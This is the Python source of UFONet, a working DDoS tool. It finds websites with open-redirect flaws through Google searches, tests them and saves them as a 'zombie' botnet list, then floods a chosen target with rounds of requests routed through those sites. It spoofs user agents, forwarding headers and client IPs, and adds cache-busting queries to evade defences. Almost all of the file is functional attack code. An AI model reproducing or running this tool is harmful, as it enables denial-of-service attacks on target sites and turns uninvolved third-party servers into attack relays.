class UFONet(object): def __init__(self): self.agents = [] self.agents.append( 'Mozilla/5.0 (iPhone; U; CPU iOS 2_0 like Mac OS X; en-us)') self.agents.append('Mozilla/5.0 (Linux; U; Android 0.5; en-us)') self.agents.append( 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)') self.agents.append( 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)') self.agents.append( 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13' ) self.agents.append('Opera/9.25 (Windows NT 6.0; U; en)') self.agents.append('Mozilla/2.02E (Win95; U)') self.agents.append( 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' ) self.agents.append( 'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)' ) self.agents.append( 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)' ) self.agents.append( 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5)' ) self.agents.append('(Privoxy/1.0)') self.agents.append('CERN-LineMode/2.15') self.agents.append('cg-eye interactive') self.agents.append('China Local Browser 2.6') self.agents.append('ClariaBot/1.0') self.agents.append('Comos/0.9_([email protected])') self.agents.append('*****@*****.**') self.agents.append('DonutP; Windows98SE') self.agents.append( 'Dr.Web (R) online scanner: http://online.drweb.com/') self.agents.append('Dragonfly File Reader') self.agents.append('Eurobot/1.0 (http://www.ayell.eu)') self.agents.append('FARK.com link verifier') self.agents.append('FavIconizer') self.agents.append('Feliz - Mixcat Crawler (+http://mixcat.com)') self.agents.append('TwitterBot (http://www.twitter.com)') self.user_agent = random.choice(self.agents).strip() self.referer = 'http://127.0.0.1/' self.head = False self.payload = False self.external = False self.attack_mode = False self.retries = '' self.delay = '' def set_options(self, options): self.options = options def create_options(self, args=None): self.optionParser = UFONetOptions() self.options = self.optionParser.get_options(args) if not self.options: return False return self.options def banner(self): print '=' * 75, "\n" print "888 888 8888888888 .d88888b. 888b 888 888 " print "888 888 888 d88P" "Y888b 8888b 888 888 " print "888 888 888 888 888 88888b 888 888 " print "888 888 8888888 888 888 888Y88b 888 .d88b. 888888 " print "888 888 888 888 888 888 Y88b888 d8P Y8b 888 " print "888 888 888 888 888 888 Y88888 88888888 888 " print "Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. " print " 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888" print self.optionParser.description, "\n" print '=' * 75 def try_running(self, func, error, args=None): options = self.options args = args or [] try: return func(*args) except Exception as e: print(error, "error") if DEBUG: traceback.print_exc() def run(self, opts=None): if opts: options = self.create_options(opts) self.set_options(options) options = self.options # check proxy options proxy = options.proxy if options.proxy: try: pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]' m = re.search(pattern, proxy) if m is None: self.banner() print("\n[Error] - Proxy malformed!\n") sys.exit(2) except Exception: self.banner() print("\n[Error] - Proxy malformed!\n") sys.exit(2) # check tor connection if options.checktor: self.banner() try: print("\nSending request to: https://check.torproject.org\n") tor_reply = urllib2.urlopen( "https://check.torproject.org").read() your_ip = tor_reply.split('<strong>')[1].split( '</strong>')[0].strip() if not tor_reply or 'Congratulations' not in tor_reply: print("It seems that Tor is not properly set.\n") print("Your IP address appears to be: " + your_ip + "\n") else: print("Congratulations!. Tor is properly being used :-)\n") print("Your IP address appears to be: " + your_ip + "\n") except: print( "Cannot reach TOR checker system!. Are you correctly connected?\n" ) # search for 'zombies' on google results if options.search: try: self.banner() print( "\nSearching for 'zombies' on google results. Good Luck ;-)\n" ) zombies = self.search_zombies() check_url_link_reply = raw_input( "Wanna check if they are valid zombies? (Y/n)\n") print '-' * 25 if check_url_link_reply == "n" or check_url_link_reply == "N": print "\nBye!\n" else: test = self.testing(zombies) except Exception: print("[Error] - Something wrong searching!\n") # test web 'zombie' servers -> show statistics if options.test: try: self.banner() zombies = self.extract_zombies() test = self.testing(zombies) except Exception: print("\n[Error] - Something wrong testing!\n") # attack target -> exploit Open Redirect massively and connect all vulnerable servers to a target if options.target: try: self.banner() zombies = self.extract_zombies() attack = self.attacking(zombies) except Exception: print("\n[Error] - Something wrong attacking!\n") # check/update for latest stable version if options.update: self.banner() try: print( "\nTrying to update automatically to the latest stable version\n" ) Updater() except: print( "\nSomething was wrong!. You should checkout UFONet manually with:\n" ) print("$ git clone https://github.com/epsylon/ufonet\n") def search_zombies(self): # crawl google results to search for possible zombies options = self.options url = 'https://www.google.com/xhtml?' q = 'inurl:"' + str( options.search ) + '"' # set query to search literally in google url results start = 0 # set index number of first entry if options.num_results: # set number of results to search try: num = int(options.num_results) except: print( "You should specify and integer!!!. Using default value: 10\n" ) num = 10 else: num = 10 gws_rd = 'ssl' # set SSL as default query_string = {'q': q, 'start': start, 'num': num, 'gws_rd': gws_rd} data = urllib.urlencode(query_string) url = url + data headers = { 'User-Agent': self.user_agent, 'Referer': self.referer } # set fake user-agent and referer if options.verbose: print("Query used: " + url + "\n") try: req = urllib2.Request(url, None, headers) google_reply = urllib2.urlopen(req).read() except: print('[Error] - Unable to connect to google\n') sys.exit(2) #print google_reply regex = '<h3 class="r"><a href="/url(.+?)">' # search urls on google results using regex pattern = re.compile(regex) url_links = re.findall(pattern, google_reply) zombies = [] for url in url_links: url_link = url.strip( '?q=') # parse url_links to retrieve only a url url_link = urllib.unquote(url_link).decode( 'utf8') # unquote encoding sep = str(options.search) url_link = url_link.rsplit(sep, 1)[0] + sep print('+Found possible victim: ' + url_link + '\n') zombies.append(url_link) return zombies def extract_zombies(self): # extract targets from file (ex: 'zombies.txt') options = self.options if options.test: try: f = open(options.test) zombies = f.readlines() zombies = [zombie.replace('\n', '') for zombie in zombies] f.close() if not zombies: print "\n[Error] - Imposible to retrieve 'zombies' from the file." sys.exit(2) else: return zombies except: if os.path.exists(options.test) == True: print '\n[Error] - Cannot open:', options.test, "\n" sys.exit(2) else: print '\n[Error] - Cannot found:', options.test, "\n" sys.exit(2) else: try: f = open('zombies.txt') zombies = f.readlines() zombies = [zombie.replace('\n', '') for zombie in zombies] f.close() if not zombies: print "\n[Error] - Imposible to retrieve 'zombies' from the file." sys.exit(2) else: return zombies except: if os.path.exists('zombies.txt') == True: print '\n[Error] - Cannot open:', 'zombies.txt', "\n" sys.exit(2) else: print '\n[Error] - Cannot found:', 'zombies.txt', "\n" sys.exit(2) def update_zombies(self, zombies_ready): # update targets on file (ex: 'zombies.txt') options = self.options if options.test: f = open(options.test, "w") # re-write list only with valid zombies for zombie in zombies_ready: f.write(zombie + os.linesep) f.close() if options.search: with open("zombies.txt", "a") as zombie_list: # append them to existing list for zombie in zombies_ready: zombie_list.write(zombie + os.linesep) def connect_zombies(self, zombie): # connect zombies and manage different options: HEAD, GET, POST, # user-Agent, referer, timeout, retries, threads, delay.. options = self.options c = pycurl.Curl() if self.head == True: c.setopt(pycurl.URL, zombie) # set 'zombie' target c.setopt(pycurl.NOBODY, 1) # use HEAD if self.payload == True: payload = zombie + "http://www.google.es" #Open Redirect payload c.setopt(pycurl.URL, payload) # set 'zombie' payload c.setopt(pycurl.NOBODY, 0) # use GET if self.external == True: external_service = "http://www.downforeveryoneorjustme.com/" external = external_service + options.target c.setopt(pycurl.URL, external) # external HEAD check before to attack c.setopt(pycurl.NOBODY, 0) # use GET if self.attack_mode == True: if options.place: # use zombie's vector to connect to a target's place and add a random query to evade cache random_hash = random.randint(1, 100000000) url_attack = zombie + options.target + "/" + options.place + "?" + str( random_hash) else: url_attack = zombie + options.target # Use zombie vector to connect to original target url print url_attack c.setopt(pycurl.URL, url_attack) # GET connection on target site c.setopt(pycurl.NOBODY, 0) # use GET fakeheaders = [ 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg', 'Connection: Keep-Alive', 'Content-type: application/x-www-form-urlencoded; charset=UTF-8', 'Cache-control: no-cache', 'Pragma: no-cache', 'Pragma-directive: no-cache', 'Cache-directive: no-cache', 'Expires: 0' ] # set fake headers (important: no-cache) c.setopt(pycurl.FOLLOWLOCATION, 1) # set follow redirects c.setopt(pycurl.MAXREDIRS, 10) # set max redirects c.setopt(pycurl.SSL_VERIFYHOST, 0) # don't verify host c.setopt(pycurl.SSL_VERIFYPEER, 0) # don't verify peer c.setopt(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) # sslv3 c.setopt(pycurl.COOKIEFILE, '/dev/null') # black magic c.setopt(pycurl.COOKIEJAR, '/dev/null') # black magic c.setopt(pycurl.FRESH_CONNECT, 1) # important: no cache! if options.xforw: # set x-forwarded-for generate_random_xforw = RandomIP() xforwip = generate_random_xforw._generateip('') xforwfakevalue = ['X-Forwarded-For: ' + str(xforwip)] fakeheaders = fakeheaders + xforwfakevalue if options.xclient: # set x-client-ip generate_random_xclient = RandomIP() xclientip = generate_random_xclient._generateip('') xclientfakevalue = ['X-Client-IP: ' + str(xclientip)] fakeheaders = fakeheaders + xclientfakevalue if options.host: # set http host header host_fakevalue = ['Host: ' + str(options.host)] fakeheaders = fakeheaders + host_fakevalue c.setopt(pycurl.HTTPHEADER, fakeheaders) # set fake headers b = StringIO.StringIO() c.setopt(pycurl.HEADERFUNCTION, b.write) h = StringIO.StringIO() c.setopt(pycurl.WRITEFUNCTION, h.write) if options.agent: # set user-agent c.setopt(pycurl.USERAGENT, options.agent) else: c.setopt(pycurl.USERAGENT, self.user_agent) if options.referer: # set referer c.setopt(pycurl.REFERER, options.referer) else: c.setopt(pycurl.REFERER, self.referer) if options.proxy: # set proxy c.setopt(pycurl.PROXY, options.proxy) else: c.setopt(pycurl.PROXY, '') if options.timeout: # set timeout c.setopt(pycurl.TIMEOUT, options.timeout) c.setopt(pycurl.CONNECTTIMEOUT, options.timeout) else: c.setopt(pycurl.TIMEOUT, 30) c.setopt(pycurl.CONNECTTIMEOUT, 30) if options.delay: # set delay self.delay = options.delay else: self.delay = 0 if options.retries: # set retries self.retries = options.retries else: self.retries = 1 try: # try to connect c.perform() time.sleep(self.delay) except: # try retries for count in range(0, self.retries): time.sleep(self.delay) c.perform() if count == self.retries: print "\n[Error] - Imposible to connect. Aborting...\n" sys.exit(2) if self.head == True: # HEAD reply code_reply = c.getinfo(pycurl.HTTP_CODE) reply = b.getvalue() if options.verbose: print "Reply:" print "\n", reply return code_reply if self.external == True: # External reply external_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", external_reply return external_reply if self.payload == True: # Payloads reply payload_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", payload_reply return payload_reply if self.attack_mode == True: # Attack mode reply attack_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", attack_reply return attack_reply def testing(self, zombies): # test Open Redirect vulnerabilities on webapps and show statistics # HTTP HEAD check print("Are 'they' alive? :-) (HEAD Check):") print '=' * 35 num_active_zombies = 0 num_failed_zombies = 0 active_zombies = [] army = 0 print "Trying:", len(zombies) print '-' * 21 for zombie in zombies: if self.options.search: zombie = str(zombie) t = urlparse(zombie) if zombie.startswith("http://") or zombie.startswith("https://"): # send HEAD connection self.head = True code_reply = str(self.connect_zombies(zombie)) self.head = False if code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405": name_zombie = t.netloc print "Zombie:", name_zombie print "Status: Ok [" + code_reply + "]" num_active_zombies = num_active_zombies + 1 active_zombies.append(zombie) elif code_reply == "404": print "Zombie:", t.netloc print "Status: Not Found [" + code_reply + "]" num_failed_zombies = num_failed_zombies + 1 else: print "Zombie:", t.netloc print "Status: Not Allowed [" + code_reply + "]" num_failed_zombies = num_failed_zombies + 1 else: if self.options.verbose: print "Reply:", "\n\nNothing!!!!!\n" print "Zombie:", zombie print "Status: Malformed!" num_failed_zombies = num_failed_zombies + 1 print '-' * 10 print '=' * 18 print "OK:", num_active_zombies, "Fail:", num_failed_zombies print '=' * 18 if num_active_zombies == 0: print "\n[INFO] - Not any zombie active!\n" sys.exit(2) print '=' * 22 # check url parameter vectors print("Checking for payloads:") print '=' * 22 print "Trying:", num_active_zombies print '-' * 21 zombies_ready = [] num_waiting_zombies = 0 num_disconnected_zombies = 0 for zombie in active_zombies: if self.options.search: zombie = str(zombie) t = urlparse(zombie) name_zombie = t.netloc payload_zombie = zombie print "Vector:", payload_zombie self.payload = True try: payload_reply = str(self.connect_zombies(zombie)) except: payload_reply = "" self.payload = False if "http://www.google.es" in payload_reply: #Open Redirect reply num_waiting_zombies = num_waiting_zombies + 1 print "Status:", "Waiting your orders..." zombies_ready.append(zombie) else: num_disconnected_zombies = num_disconnected_zombies + 1 print "Status:", "Not ready..." army = army + 1 print '-' * 10 print '=' * 18 print "OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies print '=' * 18 print '=' * 18 # list of 'zombies' ready to attack print("Army of 'zombies'") print '=' * 18 num_active_zombie = 0 for z in zombies_ready: t = urlparse(z) name_zombie = t.netloc num_active_zombie = num_active_zombie + 1 if self.options.verbose: print "Zombie [", num_active_zombie, "]:", name_zombie print '-' * 18 print "Total Army:", num_active_zombie print '-' * 18 # update 'zombies' list if num_active_zombie == 0: print "\n[INFO] - Not any zombie active!\n" else: update_reply = raw_input("Wanna update your army (Y/n)") print '-' * 25 if update_reply == "n" or update_reply == "N": print "\nBye!\n" else: self.update_zombies(zombies_ready) print "\n[INFO] - Botnet updated! ;-)\n" def attacking(self, zombies): # Perform a DDoS Web attack against a target, using Open Redirect vectors on third party machines (aka 'zombies') target = self.options.target if target.startswith("http://") or target.startswith("https://"): print "Attacking: ", target print '=' * 55, "\n" # send Open Redirect injection reply = self.injection(target, zombies) else: print "\n[Error] - Target url not valid!\n" def injection(self, target, zombies): options = self.options head_check_here = False head_check_external = False print '=' * 21 print "Round: 'Is target up?'" print '=' * 21 # send HEAD connection self.head = True try: reply = self.connect_zombies(target) if reply: print "From here: YES" head_check_here = True else: print "From Here: NO | WARNING: Check failed from your connection ;(" head_check_here = False except Exception: print "From Here: NO | WARNING: Check failed from your connection ;(" head_check_here = False self.head = False print '-' * 21 # check target on third party service (ex: http://www.downforeveryoneorjustme.com) self.external = True try: external_reply = self.connect_zombies(target) if "It's just you" in external_reply: # parse external service for correct reply print "From exterior: YES" head_check_external = True else: print "From exterior: NO | WARNING: Check failed from external services ;(" head_check_external = False except Exception: print "From exterior: NO | WARNING: Check failed from external services ;(" head_check_external = False self.external = False print '-' * 21, "\n" # ask for start the attack if head_check_here == True or head_check_external == True: start_reply = raw_input( "Your target looks ONLINE!. Wanna start a DDoS attack? (y/N)\n" ) print '-' * 25 if start_reply == "y" or start_reply == "Y": total_rounds = options.rounds # extract number of rounds if total_rounds <= "0": total_rounds = 1 num_round = 1 num_hits = 0 num_zombie = 1 # start to attack the target with each zombie zombies = self.extract_zombies() # extract zombies from file total_zombie = len(zombies) for i in range(0, int(total_rounds)): for zombie in zombies: print '=' * 45 print "Zombie:", num_zombie, "| Round:", num_round, "| Total:", total_rounds print '=' * 45 t = urlparse(zombie) name_zombie = t.netloc self.attack_mode = True print "Name:", name_zombie attack_reply = self.connect_zombies(zombie) print "Status: Hit!" num_hits = num_hits + 1 num_zombie = num_zombie + 1 if num_zombie > total_zombie: num_zombie = 1 print '-' * 10 num_round = num_round + 1 attack_mode = False print '=' * 21 print "Total hits:", num_hits print '=' * 21 print "\n[INFO] - Attack completed! ;-)\n" else: print "\nBye!\n" else: print "Your target looks OFFLINE!?\n" print '-' * 25 print "\nBye!\n"